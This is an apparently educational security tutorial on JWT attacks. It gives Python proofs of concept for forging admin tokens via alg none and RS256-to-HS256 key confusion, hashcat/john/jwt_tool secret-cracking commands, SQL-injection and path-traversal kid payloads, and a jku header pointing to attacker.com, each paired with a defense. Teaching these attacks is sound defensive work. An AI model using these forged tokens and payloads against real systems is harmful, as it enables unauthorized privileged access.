What Is JWT
JWT (JSON Web Token) is a standard for transmitting claims between parties as a signed JSON object. Widely used for authorization in REST APIs and SPAs.
Structure:
header.payload.signature
// Header (base64url decoded)
{"alg": "HS256", "typ": "JWT"}
// Payload
{"sub": "1234", "username": "user", "role": "user", "iat": 1716000000}
// Signature
HMACSHA256(base64url(header) + "." + base64url(payload), secret)
A full token looks like:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlcm5hbWUiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Attack 1: Algorithm None (CVE-2015-9235)
Idea: some libraries accept tokens with "alg": "none" — meaning no signature at all.
Exploit:
import base64, json
# Original token: role=user
# Goal: change role=admin without knowing the secret
header = base64url_encode({"alg": "none", "typ": "JWT"})
payload = base64url_encode({"sub": "1234", "role": "admin"})
token = f"{header}.{payload}." # empty signature
# Send in Authorization header
# Python PoC
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()
header = b64url({"alg": "none", "typ": "JWT"})
payload = b64url({"sub": "1234", "username": "admin", "role": "admin", "iat": 1716000000})
token = f"{header}.{payload}."
print(token)
Defense: explicitly specify allowed algorithms in the library; never accept none.
Attack 2: RS256 → HS256 Key Confusion
Idea: the server uses RS256 (asymmetric encryption). The public key is known to everyone. If the library doesn't fix the algorithm — you can change alg from RS256 to HS256 and sign the token with the public key as an HMAC secret. The server will verify the signature with the same public key — and accept it!
Exploit:
import jwt # PyJWT
# 1. Get the server's public key
# (often available at /api/jwks.json or /.well-known/jwks.json)
public_key = open("server_public_key.pem").read()
# 2. Sign the modified payload with the public key via HS256
payload = {"sub": "1337", "role": "admin"}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)
# 3. Send the token — the server verifies HS256 with the same public key
Defense: fix the algorithm during verification: jwt.decode(token, key, algorithms=["RS256"]).
Attack 3: Weak Secret Brute-Force (HS256)
Idea: if the HMAC secret is weak, it can be cracked and arbitrary tokens can be signed.
# hashcat
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# john
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256
# jwt_tool
python3 jwt_tool.py TOKEN -C -d rockyou.txt
Python brute-force:
import hmac, hashlib, base64, json
def sign(header, payload, secret):
msg = f"{b64url(header)}.{b64url(payload)}".encode()
return base64.urlsafe_b64encode(
hmac.new(secret.encode(), msg, hashlib.sha256).digest()
).rstrip(b'=').decode()
target_sig = "SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
with open('rockyou.txt', 'rb') as f:
for line in f:
secret = line.strip().decode(errors='ignore')
if sign(header, payload, secret) == target_sig:
print(f"Secret found: {secret}")
break
Defense: use cryptographically strong secrets >= 256 bits (32+ bytes of random data).
Attack 4: kid (Key ID) Injection
Idea: the kid parameter in the header specifies which key was used to sign the token. If the server uses kid to look up a key from a database or filesystem — injection may be possible.
SQL Injection via kid
{
"alg": "HS256",
"kid": "' UNION SELECT 'attacker_secret' -- "
}
If the server runs SELECT key FROM keys WHERE id = '{kid}' — the injection substitutes a known secret, which the attacker uses to sign the token.
Path Traversal via kid
{
"alg": "HS256",
"kid": "../../dev/null"
}
The server reads /dev/null as the key (empty string) → attacker signs the token with an empty secret.
Attack 5: jku / x5u Header Injection
Idea: the jku (JWK Set URL) and x5u (X.509 Certificate URL) parameters tell the server where to download the public key for verification. If the server doesn't validate the URL — you can point it to your own server.
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json"
}
Exploit:
1. Generate an RSA key pair
2. Publish the public key at attacker.com/jwks.json
3. Sign the token with your private key
4. The server downloads your public key and successfully verifies the token
Attack 6: Embedded JWK
Idea: the JWT header can contain a jwk parameter — an embedded public key. Vulnerable libraries verify the signature with that same key.
{
"alg": "RS256",
"jwk": {
"kty": "RSA",
"n": "ATTACKER_PUBLIC_KEY_N",
"e": "AQAB"
}
}
Tools
# jwt_tool — Swiss army knife for JWT
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py TOKEN # decode
python3 jwt_tool.py TOKEN -T # interactive modification
python3 jwt_tool.py TOKEN -X a # alg:none attack
python3 jwt_tool.py TOKEN -X s # RS256->HS256
python3 jwt_tool.py TOKEN -C -d wordlist.txt # brute-force
# Burp Suite -> JWT Editor extension
# jwt.io -- browser-based decoding
Defenses
| Vulnerability | Defense |
|---|---|
| alg:none | Explicitly specify allowed algorithms during verification |
| RS256→HS256 | algorithms=["RS256"] — don't trust the header |
| Weak secret | >= 32 bytes from a CSPRNG |
| kid injection | Parameterized queries; whitelist kid values |
| jku/x5u | Don't trust these headers; fix the key URL server-side |
| Embedded JWK | Ignore jwk in header; use the server-side key |